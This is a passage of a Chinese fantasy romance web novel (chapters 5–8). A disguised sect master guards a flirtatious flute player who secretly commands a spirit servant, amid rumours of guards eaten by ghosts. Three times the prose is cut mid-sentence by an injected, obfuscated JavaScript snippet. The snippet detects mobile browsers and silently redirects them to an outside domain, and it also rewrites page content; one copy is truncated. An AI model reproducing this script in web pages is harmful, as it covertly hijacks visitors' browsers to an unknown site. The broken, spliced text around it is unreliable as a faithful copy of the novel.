她悄悄记下这条路线上的建筑,晚些时候,便问:“涛哥,你说的那几个失踪的护卫,一个在二小姐那里,一个在小少爷那里,那今天,我们有去巡逻吗?” “那里不归我管,都是守卫长的人,我们今天巡逻的路线也不到那里。”金伯涛再次向她强调,“二小姐是庄主唯一的继承人,但她眼下并不在江心洲,守卫长是他们的心腹,也是这江心洲目前最有权势的人,你最好不要去触他的霉头。” “没有没有,我不是这个意思。”尹晓棠摇摇头,有些不理解,“二小姐既然是唯一的继承人,为什么庄主过寿,她不在江心洲呢?” “院内的护卫突然失踪,她受了惊吓,就搬回镇上的老宅暂住,等到寿宴那天才会回来,目前整个寿宴的筹备工作,都是守卫长在负责。” “那我们呢?” “日常巡逻守备,还有就是打打下手,等到开宴那天,去渡口接客,维持秩序。” “哦,原来是这样。” 尹晓棠若有所思,金伯涛见状,又道:“我们巡逻经过的那个山丘背后,是小少爷的住所,但他身有恶疾,时常发疯,大家都在传,他不是病了,是被鬼上身了。” 尹晓棠眉头微蹙:“这个地方,闲话还真多呢。” 好像都没正经事干一样。她抿了抿唇,没好意思继续说下去。 “呵。”金伯涛讪笑,没有搭话,叮嘱她一个人小心些,就兀自回去了。 夜里,尹晓棠就偷偷出去了一趟。 她摸黑穿梭在房梁和树影之间,像一只敏捷的兔子,悄无声息。这江心洲占地颇大,建筑鳞次栉比,但偏僻之地也多,很多屋子甚至没有点灯,只有巡逻的护卫会举着火把经过。 尹晓棠猫着腰,避开他们的视线,来到了金伯涛所言的那个山丘背后。她藏在树丛中,远远看了过去,小少爷的院子明显十分破败,又小又黑,和她白天见到的琼楼玉宇根本无法相提并论,可再破小,那里里外外仍是围了好些个人高马大的汉子,一时半会儿,还真不能轻举妄动。 尹晓棠便决定去找孙雪华商量一下。她很快从山丘上下来,一路狂奔。但小姑娘跑着跑着,忽然感觉一缕夜风从自己身边穿过,朝着和她相同的目的地奔去。 “嗯?” 五柳山庄位于北地,明山之下,有一座辽阔的跑马场。尹晓棠虽然没怎么骑过,但冬夜听风,夏夜听雨,对这种大自然的气息比常人敏锐许多。 她觉得刚刚那阵风,不太对劲。 于是她便加快了脚步,直奔孙雪华而去。 夜中寂寥,天地广袤。 李箫箫的院子离其他任何地方都有些距离,仿佛遗世独立那般,很是清静。 孙雪华高高坐在那棵玉兰树上,一边守着那尚未熄灯的房间,一边摆弄着手里的灵符。周身灵气运转,形成一道坚固的屏障,将他完完全全隐藏在夜色之中。 金伯涛说这江心洲的护卫至少有百来人,若是一人一张符,也需制作不少时间。 孙雪华计算着,就听见屋内传来一阵箫声。 曲声悠长,哀转不绝,似乎有无限心事,不可言说。 孙雪华手上一顿,看向屋内,李箫箫应该还是坐在软榻上,看不到人影。今日数面,他明明感觉到对方应是个不羁之人,但夜中听曲,却又难以忽略那些细微的悲伤情绪。 不知令他伤怀的究竟是何事。 悲欢离合总无情,点滴到天明。 李箫箫的曲声实在太过苦涩,令人于心不忍。 孙雪华轻轻折下一片玉兰花瓣,置于掌心,两手合拢,灵气微转,那玉兰花瓣竟如细雨般自他掌心飞落,纷纷扬扬落满了那烛火明灭的窗口。 李箫箫神色一滞,忙走了出来,伸着手,那白玉似的花瓣落了他整个掌心,暗香盈盈。他抬眼,望着窗前那株玉兰,皎洁月色之下,整棵花树好像散发着若有似无的清辉,繁盛至极,令人心生欢喜。 他假装看不见孙雪华,无声地笑了,双手捧在心前,仿佛是在虔诚地祈祷上苍,少年人再次施术,那落花缤纷,如新雪初降,浅浅积了一层。 尽管只是一个很简单的术法,但那人似乎看着高兴许多。 孙雪华沉默地注视着李箫箫。 这只是他用过的最简单的一个术法。 但偏偏,最简单的,最有用。 孙雪华想着,忽听门外一声巨响,像是有什么东西砸在了大门上,他跳下枝头,直奔屋外,一道黑影匆忙闪过,孙雪华单手结印,当下甩出一道灵气,如斧劈刀削般打在了那黑影背上,只听一声惨叫,那影子重重滚入草丛之中。 孙雪华忙奔了过去,却不见任何踪影。 他蹙眉,中了他一招,居然还能逃跑,这敌人怕是不简单。 就在此时,李箫箫那边又大叫一声,孙雪华暗道不好,冲入院中,却见对方坐在门槛上,一手抱膝,指着一边草丛说道:“有只野猫咬我。” 孙雪华:“……” 他不知该做何反应,只得先去草丛中搜罗一番,一只黑猫当下蹿了出来,细声细气地叫了几声,不见了。 而后他看见尹晓棠躲在草丛里,捂着嘴,一脸无措地看着自己。 孙雪华手指抵在唇边,轻轻地,示意她不要出声,尹晓棠点点头,一动不动地蹲着。 孙雪华很快转过身去,并将快要齐腰的草丛拨了回去。 “没事了。”他走到李箫箫跟前,将这人扶了起来,对方却一脸忧虑:“没有鬼吧?” “没有,就是一只猫。” “嗯。”李箫箫眉眼未曾舒展,瞧着孙雪华,欲言又止,对方只道:“我先送您进屋。” “啊?” “我要去关个大门。” 李箫箫愁容满面:“我能不能和你一起去?别留我一个人在这儿,我害怕。” 他说得分外可怜,感觉连眼尾都垂了下来,委屈极了。 孙雪华耐心哄道:“属下去去就回,不会有事的。” “真的吗?” “绝无虚言。” 李箫箫仍是忧心,抓着他的手不肯松开,孙雪华又哄道:“你数到二十,我就回来。” 对方闻言,纵是万般不情愿,这会儿也不好再作纠缠,只能点点头,答应着:“那你快去快回。” “嗯。” 孙雪华大步离去。 刚走到门口,尹晓棠就冒了个头出来:“孙掌门,我刚刚来的路上,感到有阵很奇怪的风朝你们这儿来了,你有见到吗?” “风吗?”孙雪华沉吟着,“风没有见过,但是有个很奇怪的影子,不知道和你说的那阵奇怪的风有没有关联。” “不好说。”尹晓棠将今日分开之后,她的所见所闻全都告诉了这人,孙雪华听了,只道:“这江心洲情况复杂,你我还需小心行事。” 他将自己已经折好的护身灵符交给对方:“尹姑娘,这是我做好的护身符,你和金伯涛一同分发下去,剩下的,明日我会再传书于你,到时候,我们再商议下一步计划。” “嗯,好。”尹晓棠接了过来,孙雪华又从灵囊中取出一道传音符,让她藏在袖中:“我这边你不必担心,若是需要联系我,你用此符传音于我便好。” 小姑娘又点了点头,孙雪华便与她道别,让她先行回去,注意安全。 夜色更深,尹晓棠的背影很快就消失在大门之后。孙雪华插上门栓,莫名有些心绪不宁。 他回到屋内,李箫箫正双手交握,捂在身前,还是那般我见犹怜的模样,见他回来,那双眼睛就像蒙了一层水雾,仿佛下一刻就要流出泪来。 孙雪华脚步一顿,对着他恭敬地行了个礼,并未上前。 李箫箫小声道:“外面怎么样了?” “一切正常,并无异样。” “嗯。”李箫箫低眉,似乎在思考些什么,孙雪华也不动,只等着人接下来的提问。半晌,李箫箫忽然招招手,示意他坐过来些,孙雪华没有推脱,径直坐了过去。 “我和你说,这个江心洲上有恶鬼吃人,前几天少了几个护卫,就是被鬼吃了。” “嗯?”孙雪华有点意外,倒不是意外恶鬼之类,而是李箫箫居然知道这件事。 金伯涛不是说,失踪之事被压了下来,不让外传吗? 他没有声张,只道:“鬼怪只在人心,其身正,不足为惧。” “你别不信,是真的有,前阵子,我院子里的护卫失踪,就是被吃掉了。” 孙雪华垂眸:“我来之前,副守卫长曾说,他为了这件事来找过你,但你却说没有见过,不知道。” 李箫箫很是委屈:“是守卫长让我这么说的,他跟副守卫长平时就不对付,现在又怕对方抢了头功,明里暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762363|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里较着劲儿呢,我夹在中间,也没办法啊。” “人命关天的大事,也能拿来使绊子?”孙雪华蹙眉,李箫箫连连点头:“是啊,我也劝过了,可我人微言轻,谁愿意听我的呢?守卫长只让我尽量不出门,只要不出门,就不会有事。可我老是闷在这么个地方,也很无趣,只好白天的时候,偷偷出去放个风。” 孙雪华不语,李箫箫耐心等待着,十分好奇他会说些什么。可对方并没有立即表态,只淡淡说道:“我今夜睡在外间,守着你,你且放心,应该不会有事的。” 李箫箫一愣,一时间竟没有办法拒绝这个提议:“那,那真是多谢你了。” “没事。” “那我去给你拿一床新的被褥。” “不用。” “要的要的,这个季节,夜里风大,还是冷的。” “嗯,多谢。” 孙雪华点了点头,便向他拱手行礼,去外边等候。 李箫箫看着他挺拔的背影,忽然叹道:“真可爱。” 他飞快地下了床,打开衣柜,抱出一床新晒的被褥,交给对方,未曾多言。孙雪华道了声谢,脱了那身软甲,摘了头巾,和衣睡在外间,盖上被子的那一刹那,他闻到了和李箫箫身上一模一样的香气。 灯灭了。 李箫箫松开手,玩味地看着掌心的灵符,一只黑猫的影子渐渐现形,在他脚边绕来绕去。 “乖乖,你差点就被发现了。”李箫箫勾着手指,催促着,“去休息一下吧,你挨了小雪那一巴掌,估计伤得不轻。” 那影子逐渐化开,变得虚无缥缈起来,李箫箫手指在半空中画了个圈,就送她去歇着了。 “哎呀,小雪真是敏锐呢。” 他轻笑,又倒在了榻上。 今夜的一切像是个意外,像溅起一池春水的石子,很快就恢复了平静。 月上中天,孙雪华做了个梦。 他极少做梦,一是梦境太多,会扰动心神,二是他的心里实在装不下太多的感情。 很多东西,都只在他真正的十七岁那年,彻底凋零了。 可这一回,孙雪华却梦见他年岁尚小,坐在河边坝桥上嚎啕大哭。 为什么哭呢?我也会这样哭吗? 孙雪华感到很奇怪,隐约觉得有个人一直在摸他的头发,哄着他:“小雪乖,不怕不怕。” 害怕什么呢?这世上好像已经没有什么能让他害怕的了。 孙雪华睡得不太安稳。 事实上,确实有人在摸他的头发。 李箫箫并没有睡,而是披了件外衣,悄无声息地走到他身边,坐在微冷的地板上,两手交握,趴在他床头,静静地看着他。 “小雪真好,真是惹我欢喜。”李箫箫默念着,眼底闪过一丝意味不明的笑意。 他小心翼翼捻起孙雪华的一缕发丝,绕在指尖,而后慢慢地,贴在唇边,哑声道:“那玉兰花我很喜欢,多谢了。” “但你今天下手太重了,下次可不许这样了。” 李箫箫的指尖顺着那柔软的发丝往上,摸到孙雪华的发顶,轻轻点了点那眉心,见人没有醒,就又顺势往下,点了点那冷峻的眉骨、眼梢和鼻尖。 他似笑非笑,犹如梦中轻喃:“不知道小雪什么时候会发现我的真实身份呢。” 若是发现,是会愤怒,会错愕,还是会无措?一想到这种种可能,李箫箫便陡然兴奋起来。他今日外出,就是算到孙雪华会途径此地,那只白鹭也是他特意安排的,可惜,他千算万算,没算到孙雪华动作会那么快,他就慢了一步,那茶楼上的气息就消失了,安排好的偶遇扑了个空,他只好趁早赶回来,以免又一次和人错过。 李箫箫注视着熟睡的孙雪华,身上散发出一股微弱的略显潮湿的气息,少年梦中愈发不安宁,微颤着眼睫,醒了过来。 “晚上好。”某人仍是那含情脉脉的样子,作乱的右手也旋即收了回来,托在下巴上,孙雪华意识还没回笼,头脑放空了一瞬,有种不知身在何处的茫然感,当下便本能地问道:“你睡不着吗?” “嗯,心里面害怕。”李箫箫大言不惭地说着,声音压得又低又轻,饶是孙雪华这般好的耳力,都听不太清。 他闭了闭眼,才找回些许神志,喟叹道:“你害怕啊。” “嗯。” “也是情理之中。”孙雪华裹着被子往里头挪了挪,分出一半床铺,“睡吧。” 李箫箫一怔,要说先前全是他在逢场作戏,这会儿倒真是发愣了。 “你,你不会觉得不合适吗?”他问。 孙雪华思量片刻,又裹着被子从里头挪到外头:“那你睡里面一半吧。” 李箫箫眨眨眼:“我的意思是——” “你要是嫌挤的话,我可以在你床边打地铺。”孙雪华抬眼,静静地望着他,可没一会儿,又觉得困得很,眼前这人的脸忽明忽暗,慢慢变成了一个小点。在他意识完全丧失之前,他又感觉到了那一丝熟悉的气息,正往他被窝里钻。 到底是什么? 孙雪华想着,便开始盼望好友早早给他回信,而后便彻底坠入梦中。 6. 第 6 章 翌日清晨,孙雪华如往常那样睁开眼,却感觉肩头微沉,侧过脸一看,李箫箫裹着被子,像一条蚕蛹似的半蜷着身子,几乎整张脸都埋在锦被之下,只露出一点光洁的额头,抵在他肩侧。 孙雪华见状,两指按在他额心,轻轻用力,将人稍微推开了些,而后一骨碌翻下了床,再一看,发现李箫箫不知道怎么睡得,两只脚也露在外头,身下好好的褥子被搅得皱皱巴巴,活像个刚出锅的麻花。 孙雪华一怔,回想起昨夜,心下难免困惑,他修行多年,若是身边有异动,早就清醒过来了,不可能一觉到天亮都没有发觉。 是屋里的熏香有问题?不,应该不是,他昨日已经查探过,并无异样。 难道是这人身上? 孙雪华眉头微蹙,俯下身,捞起他一缕散乱的头发,轻轻嗅了嗅,除了一点淡淡的玉兰花香,并没有其他异常。 他不解,忽又见李箫箫动了动,仿佛是觉得冷了,脚心脚背交叠着摩挲了两下,又往被子里缩了缩。孙雪华不知为何,某根紧绷的心弦似是有所触动,他微微垂下眼帘,松了手,那墨色的长发又无声无息地落在枕上,更衬得那张脸人畜无害,无辜可怜。 孙雪华有些头疼,但见对方总是蜷着手脚睡觉,又担心他睡着睡着会抽筋,便想着帮他掖好被子。可孙雪华刚扯住被角,要将皱成一团的被子拽平的时候,李箫箫却突然醒了,猛地坐起身,睡眼惺忪地望着他,那锦被从肩头滑落,露出一大片白皙的胸膛,墨色的长发凌乱地贴在锁骨处,像一只炸毛的小猫咪。 孙雪华没有移开视线,专注地看了好一会儿,不掺任何欲念。 两个人,一个坐床头,一个站床尾,一时间都没有说话。 李箫箫生得并不孱弱,相反骨架偏大,肌肉线条流畅,甚至可以称得上漂亮——这样的根骨,其实很适合练剑。 孙雪华收回目光,淡淡地吐出一句:“不错。” 李箫箫眨眨眼,如梦初醒:“什么不错?” “你底子不错,可以试着练一些防身的功夫。” 李箫箫闻言,笑了笑:“我都这么大年纪了,练哪门子的功夫?” “只是防身用的,若是遇险,还能支撑片刻。”孙雪华说着,一把扯过锦被,将它平整地展开,再给他盖上,“春末虽是暖和,但也要小心着凉。” 李箫箫裹着那锦被,笑眯眯地望着他:“练了这功夫,就能不害怕了吗?” “人心之畏,因人而异,我不能向你保证。”孙雪华坦言道,李箫箫又是一脸苦恼:“我其实可害怕了,虽然目前没有发生性命攸关的大事,可凡事不怕一万,就怕万一。” 孙雪华一顿,问道:“所以你夜间吹箫,就是在担心这个吗?” 李箫箫不语,万分可怜地注视着他,孙雪华轻声说道:“我答应过你,不会让你出任何意外,这并非虚言。” 李箫箫听了,又眉飞色舞起来:“你有这份心,我就十分高兴了。” “嗯。” 孙雪华点点头,那神态语气根本不像一个护卫,只是他自己尚未察觉。李箫箫觉得他甚是可爱,便掀开被子,光脚站在了地上:“我马上去换衣服,过会儿就跟你学一学。” 话音未落,他就急匆匆地往里间跑,腰间金珠摇荡,似星辰坠落。孙雪华又想起听海崖地宫里的宝珠,心下仍是存疑,一时间,计上心来。 李箫箫很快换了身清新淡雅的衣服,将头发用发带绑好,这才施施然走到孙雪华跟前,可对方扫了他一眼,说道:“袖口太大了,影响活动。” “可我没有窄袖的衣服。”李箫箫摊手,有些无奈,孙雪华问他:“还有别的发带吗?或者一些细绳都可以。” “没有,我平时用不到。” 孙雪华不言,思量片刻,将那块绛色头巾撕成条状,又将李箫箫两边宽大的衣袖推到肘部以上,内叠翻卷之后,再用头巾绑好,打了个活扣。 “就这样吧。”孙雪华说着,又用手指勾了勾,确定那活节不会散开,这才放心。李箫箫垂眸望着他,对方那张冷肃的脸近在咫尺,细密的睫毛在眼窝下投出一片淡淡的阴影,嘴唇紧抿,不苟言笑,虽说现在只是十七八岁、风华正茂的年纪,可还是能够看出曾经身为一派掌门、正道魁首的威严气度。 李箫箫不由地笑了笑,孙雪华却抬起头,似是有些疑惑:“怎么了?” “没什么,就是觉得两个活扣像绣在衣服上的蝴蝶。”他举起手,轻轻晃了晃,那两个活扣便随之飘摇,袖中浅香萦绕,孙雪华问道:“你常年点着熏香吗?” “是啊。”李箫箫仍是眉眼含笑,“我很喜欢这个味道。” “嗯。”孙雪华没有再继续这个话题,只道,“我先教你一些简单的,能够立即奏效的招式。” “好。” 李箫箫颔首,一副听话又乖顺的模样。 他其实并不缺这点拳脚之力,但看着对方那张认真专注的脸,又难免起一些别的心思。 “我好像明白了,是这样,然后再这样?”李箫箫随手比划了两下,招式浮于表面,绵软无力,孙雪华微微摇头:“不对,出招要快。” 李箫箫抿着唇,像是十分不解,孙雪华淡然道:“朝我出拳。” “真的?” “嗯。” “万一打伤你怎么办?”李箫箫轻笑,“你长这么俊俏,要是伤了脸,该有多少怀春之人伤心啊。” 孙雪华听了,眼底闪过一丝困惑:“能打伤我的,应该都已经死了。” 李箫箫一愣,没忍住,“噗嗤”笑出了声:“你这人真是,我说你什么好呢。” “我的意思是,你不用担心会打伤我。”孙雪华一脸淡然,“你出招吧,可能实战之后,你会更有体悟。” 李箫箫闻言,心下不免感叹,这人当真是软硬不吃,不过他转念再想,又想起某人信笺上一口一个好友,心下泛起了酸,不知道孙雪华究竟是真的油盐不进,还是对自己这样的外人如此。 李箫箫纵然心里边有千般万般的醋意,嘴角依旧噙着笑,抛却其他所有因素,他这张脸还是太具有迷惑性了,孙雪华甚至思考了一瞬,和他对打,要用几分的力道。可抬眼的刹那,李箫箫已然出招,孙雪华动都没动,头稍稍一偏,就轻而易举地躲过了这一拳。 “你动作好快。”李箫箫收了势,慢腾腾问道,“下面出左手吗?” “你面对的是敌人,不是不会动的沙袋。” 孙雪华感觉自己刚刚的教导,他没听进去多少,就上前一步,握住了他的手腕:“来,试试看挣脱我。” 李箫箫瞥了眼两人的姿势,孙雪华显然没有用全力,只用半个掌心托住他的腕骨,大拇指和食指不轻不重地捏在他合谷穴内外两侧,其余的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762364|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指虚虚按在手背处。 就跟调情似的。 李箫箫不免多想,莞尔道:“不抓紧一点吗?你这样,我岂不是很容易就挣开了?” “再紧你就会疼了。”孙雪华不明白这人为什么这么多话,几乎是自己动一下,就要说一句,从前他教导师弟师妹,也从未有人会问出这样的问题。可再看李箫箫那无辜的神情,孙雪华又败下阵来,无法理解这人的同时,又立刻原谅了他。 “我有分寸,相信我就好。”孙雪华的指腹轻轻地点了点这人的手背,催促他快些。 那常年练剑的手,指腹上自是有些薄薄的茧,点按在柔软的肌肤上,那沙粒似的粗糙感被微妙地放大,激起一丝隐秘的躁动。 “好。” 李箫箫点点头,当真认真起来,孙雪华明显感知到了他的努力——不过就是没什么用。 那些凌厉的招式,被他使出了一种强烈的花拳绣腿的感觉,几乎是不堪一击。孙雪华并不着急,握着他的手腕,一点点,慢慢地引导、讲解,可李箫箫哪听得进去,眼里只剩下那张端庄的、专注的、满是耐心的脸。 真好。 李箫箫甚是满意。 孙雪华见他好像在神游天外,一掌打在了他肩头,李箫箫“哎呦”了一声,直直摔倒在地,腰间别着的长箫掉落,和那金珠一起,滚入草丛之中,断成了两截。 孙雪华一愣,当真断了? 李箫箫脸色很不好看,捂着肩膀,像是要疼得哭出来,孙雪华将他扶了起来,关切地说道:“对不起,下手重了。” “没关系,人还是有胳膊有腿的。”李箫箫蹙眉,不知道是不是在阴阳怪气,但他没有与孙雪华纠缠,只捡起自己断开的长箫,有些可惜地摸了摸。 少年很是抱歉:“我会赔给你的。” “没事的,我有一根备用的。”李箫箫摘下那颗金珠,轻轻擦去上头的灰尘,孙雪华定睛一看,明珠生尘,再不似那般光彩夺目。 也许,真的只是长得像而已。 孙雪华默然,李箫箫嘀咕着:“我不练了,我要去休息一会儿。” “嗯。” 话音未落,李箫箫抬脚就走,但不知道是不是被什么东西绊了一下,趔趄两步,一下撞在孙雪华身上,少年下意识地接住他,问道:“怎么了?” “头晕。”李箫箫一脸难受的模样,孙雪华想着,自己并没有用几分力道,这人怎么就头晕起来了?难道是因为太过孱弱,所以才这样吗? 一生鲜有败绩的临渊掌门叹道:“我扶你进屋。” “嗯。” 李箫箫眼一闭,就趴在了人身上,孙雪华很想说是扶,不是抱,但看对方似乎真的不太行了,便没有多说什么,半搂半抱地把人弄进了屋。李箫箫刚一沾到床榻,就软了腰,直接倒了下去,嘟囔着:“我歇一会儿,然后去洗个澡,你看着些院子,再过一个时辰,应该会有人来送些时令水果,到时候你接一下,送进屋来,我们一起吃好了。” “好。” 孙雪华点头道,李箫箫也不知有意无意,轻轻柔柔地哄了一声:“乖孩子。” 少年人没有接话,抱拳行礼后,便转身离去。 李箫箫将断开的长箫对接在一处,单手一抹,很快又恢复如初。 “小雪在试探我呀。”他笑着,转了转手中长箫,悄悄走向了浴池。 7. 第 7 章 浴池在院子的东南角上,和起居室、茶室、书房离得不算远,进去便是个衣柜,李箫箫从里头取了些换洗的衣服,绕过屏风,就进了浴池,那浴池下方接了管道,以全天供应热水,整个房间水汽氤氲,温暖异常。 “主人。” 潮湿的地板上逐渐显露出这两个字,一个少女的影子逐渐成形,只见她双目被覆,三指宽的金色飘带从她耳际穿过,一直垂到发尾,血色的嘴唇上贴着一张写满符文的金箔,双手双脚上皆是金色的纹路,层层叠叠,像是不断生长的藤蔓。 “怎么样了?”李箫箫问她,少女蹲在地上,一笔一划写着:“好多了,但还是好疼。” 李箫箫嘴一撇,也蹲了下来,摸摸她的头:“乖乖,小雪打疼你了。” “昨天晚上差点就变不回来了。”少女不能说话,但这字里行间还是透着些许委屈,李箫箫安抚道:“没事儿,变不回来,当只小猫也挺好的。” “不要。”阿音对自己昨晚变成小黑猫的事情耿耿于怀。 “哈哈。”李箫箫轻笑两声,但很快就陷入了沉思。 孙雪华还是太过敏锐,那一掌差点打得阿音魂飞魄散,看来,还是要小心行事才对。 思及至此,他柔声哄道:“阿音乖,是祖师爷爷不好,害你挨了打,今天开始到寿宴结束,你就在这里养伤吧,剩下的不用你操心。” “好。”少女点点头,又想起来什么似的,忙写道,“我昨晚回来的时候,瞧见了一个陌生的小姑娘。” “哦?陌生的小姑娘?” “嗯,从前没有在这个江心洲见过。” 李箫箫眯了眯眼:“是不是一个十六岁左右,右手拇指上戴了一枚骨韘,看上去练过骑射的小姑娘?” “不确定,但是她轻功很好,是这江心洲的护卫无法比拟的。”阿音认真回忆了一番,奈何她回来得急,没有看得太仔细,只写着,“她追着我跑了很久,不知道有没有追上,但也可能是我的错觉,她只是恰好和我同路。” “不,不是你的错觉。”李箫箫大概知道她说的是谁了,“这个小姑娘,出身五柳山庄,是和小雪一道来的。她应该有个很不错的前辈教导,否则,以五柳山庄的衰落速度,根本教不出这样的弟子。” “那我们怎么办?她会不会追到这儿了?你昨晚有瞧见她吗?” 李箫箫摇摇头:“没见到。” 阿音默然,只听对方又道:“没事的,她虽然轻功不错,但修为不高,小雪都没发现你,她就更不可能了,我们暂且还是安全的。” 李箫箫说着,轻叹:“你先去休息吧,不要考虑太好。” “好。”阿音点了点头,又逐字写下,“您交代我的事情都吩咐下去了,只等您一声令下。” “辛苦你了。” 阿音颔首行礼,瞬间消失不见。 李箫箫喃喃着:“有小雪在,恐怕不好办啊。” 但这样才有趣,不是吗? 他勾起嘴角,那潮湿的不断蒸腾的水汽愈发弥漫开来,渐渐将他整个身影淹没。 孙雪华这会儿在等人送水果上门,并收到了尹晓棠的回信,大抵是那些灵符全都分发了下去,那信上洋洋洒洒写满了感激之言,不过都是金伯涛所写。 他们约定今晚子时,一同去另外两处查探情况。 孙雪华将那封信销毁之后,就听不远处响起了敲门声,他去开门,只见一个仆从送了一筐新鲜的梅子和杏子,清新的甜味扑鼻而来,令人垂涎。 那仆从不认得他,但见他这身打扮,只当是这里的护卫,客客气气地将手里的果篮交给他:“这是庄主命小的送过来的,给上宾尝尝鲜。” “有劳。”孙雪华接了过来,便往屋内走。 他算算时间,差不多过了半个时辰,李箫箫也该洗完了,就决定先去洗上一些,放到果盘里。可一切准备妥当,某人却久久不至,孙雪华心下疑惑,莫不是他头晕,昏在浴池了?他便匆匆赶去,结果敲了好几下门都没有回应,便一脚踹开了房门,就见对方腰上只围了一块毛巾,隐隐绰绰地藏在水雾里,一脸惊讶:“怎么了?” 孙雪华后退半步,道:“怕你溺水。” “哈哈。”李箫箫朗声笑着,披了件单薄的里衣,就走了出来,孙雪华又后退两步:“你先穿衣服吧。” “好热,过会儿再穿。”他那件里衣很快就被湿漉漉的头发浸透,几乎成了透明,漂亮的肌理若隐若现,孙雪华不言,默默跟着人回了茶室。 那黄澄澄的杏子上还沾着些晶莹的水渍,入口酸甜,十分舒爽,李箫箫似乎很高兴,拉着孙雪华讲了许多故事,大抵都是他这些年来的所见所闻。 当然全是编的。 孙雪华不了解他,自然也听不出来,只道:“你这么年轻,能游历这么多名山大川,也是件幸事。” “你不比我小吗?怎么说话一副老气横秋的样子?”李箫箫抓住他话里的漏洞,揶揄着,孙雪华神色未变:“我一直如此。” “看出来了,想必你家教甚严。”李箫箫笑着,手握着一颗杏子,又作弄似的贴在他唇边,“吃点甜的,少年人就该有少年人的样子。” 孙雪华闻言,多有触动,少年人,这个词于他,早已遥不可及。他的年少,是动荡不安风摧霜折的年少,伴随着夏日苦闷磅礴的雷雨,又浸透了雪夜冰冻三尺的苦寒。 可他的年少,即使再腐朽,如今也以尽数化作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方吃着杏子,瞧见他手里那根长箫,问道:“这就是备用的那根?” “是啊,我靠这个吃饭的,当然要多做打算,以备不时之需。”李箫箫又装模作样地摸着他的长箫,“我吹一首给你听听?” 孙雪华没有拒绝。 李箫箫便再次吹响了一首曲子,不再似昨夜那般哀戚苦涩,多了许多欢快愉悦。 这才像给人贺寿的曲子。 一曲毕,孙雪华问他:“庄主就请了你一人在这寿宴上演奏?” “肯定还有其他人呀,八十大寿,就请个人吹箫,这像什么话?”李箫箫似是被逗笑了,孙雪华又追问:“那其他人呢?” “不清楚,我不喜欢这里,出去了也不会跟别人聊天,何况,要是被庄主发现我偷跑,那下次就该被禁足了。”李箫箫回答得滴水不漏,孙雪华见问不出个所以然来,便不再言语。 李箫箫又给他泡了杯热茶喝,还是那干涩的口感,孙雪华沉默着,慢慢喝完了。 这些大概是自己打人一掌的报应。 他如是想着。 8. 第 8 章 是夜,弦月如弓,繁盛的玉兰树一片皎白,疏影摇曳,别有意趣。 孙雪华和衣而卧,闭目养神,心下却算着时间,只待月上中天,便前去与尹晓棠、金伯涛二人会合。身边躺着的李箫箫还是将自己裹成了一只蚕蛹,蜷着腿,额头靠在他的肩上,静悄悄地躺着,不知道睡熟了没有。 过了半晌,某人微微动了动,竟是醒了过来,贴在他耳边小声嘟囔着:“睡不着。” 孙雪华没有立刻答话。 他察觉到对方又贴近了几分,声音轻得几乎听不见。 “你睡了吗?”那人又问。 孙雪华仍是不答。 身边的动静便消了许多。 片刻之后,孙雪华睁开眼,就瞧见李箫箫那张近在咫尺的脸上闪过一丝错愕与慌乱。 “你醒啦?”那人小心翼翼地问着,额前的碎发无声地垂了下来,带起一丝淡淡的香风。孙雪华注视着他,问道:“睡不着吗?” “嗯。”李箫箫托着下巴,“睡不着,起来看看你,把你吵醒了吗?” “没有,只是刚好醒了。”孙雪华垂下眼帘,不再看他,“睡不着的话,我先前学过一点清心咒,可以念给你听。” “不用,我不喜欢听这些。” “那你总是看着我也不是个办法。” 李箫箫脸上笑意一滞,顿时委屈起来:“我是想跟你说说话来着,但你睡得很沉,我不敢吵醒你,就看看。” 他问:“看看也不行吗?我一直一个人住着,平日里连个说话的人都没有。” 又是这样的神态语气,又是重复了不知道多少遍的孤独寂寞。 可在孙雪华看来,孤独才是人生常态,所以他有些理解不了。他抬眸,对方那双清澈明亮的眼睛,正满怀期待地注视着自己,隐约中,还透着些不安和忐忑。 也罢,以己度人,难免误会。 孙雪华思量片刻,问道:“就只是看看就好了吗?” 需不需要我给你再洗点杏子吃吃?或者给你讲讲故事? 孙雪华的头脑里没几个哄人的法子,一脸凝重地思索着。可偏偏李箫箫会错了意,笑着:“当然不是。” 说完,他就裹好被子,往孙雪华肩上一靠,亲昵地蹭了蹭,真像一只撒娇的小猫似的。 少年人露出一丝困惑:“你?” “嗯?”李箫箫毫无察觉,尾音上扬,还沉浸在喜悦当中。 孙雪华陷入沉思。 他修行至今,什么样的人没见过,而像李箫箫这种做派的,也不在少数,但这些人,大多有个共通点。 想引起他的注意。 可怜、无辜、天真,像一只坠入泥潭的幼兽,等待自己去解救。 但李箫箫给他的感觉,又不纯粹如此,好像,别有图谋。 孙雪华顿了顿,问道:“你和别人相处时,也这样?” 李箫箫一愣:“你什么意思?” “我的意思是,你对身边其他人也这般亲昵吗?比如说宋庄主他们……” “和宋庄主有什么关系?” “你不是他请来的客人?副守卫长说你甚得他青眼。” 孙雪华没有别的想法,只是在表达他的不理解,可李箫箫听了,顿时支起上半身,气势汹汹地质问道:“你怀疑我跟宋庄主有染?” 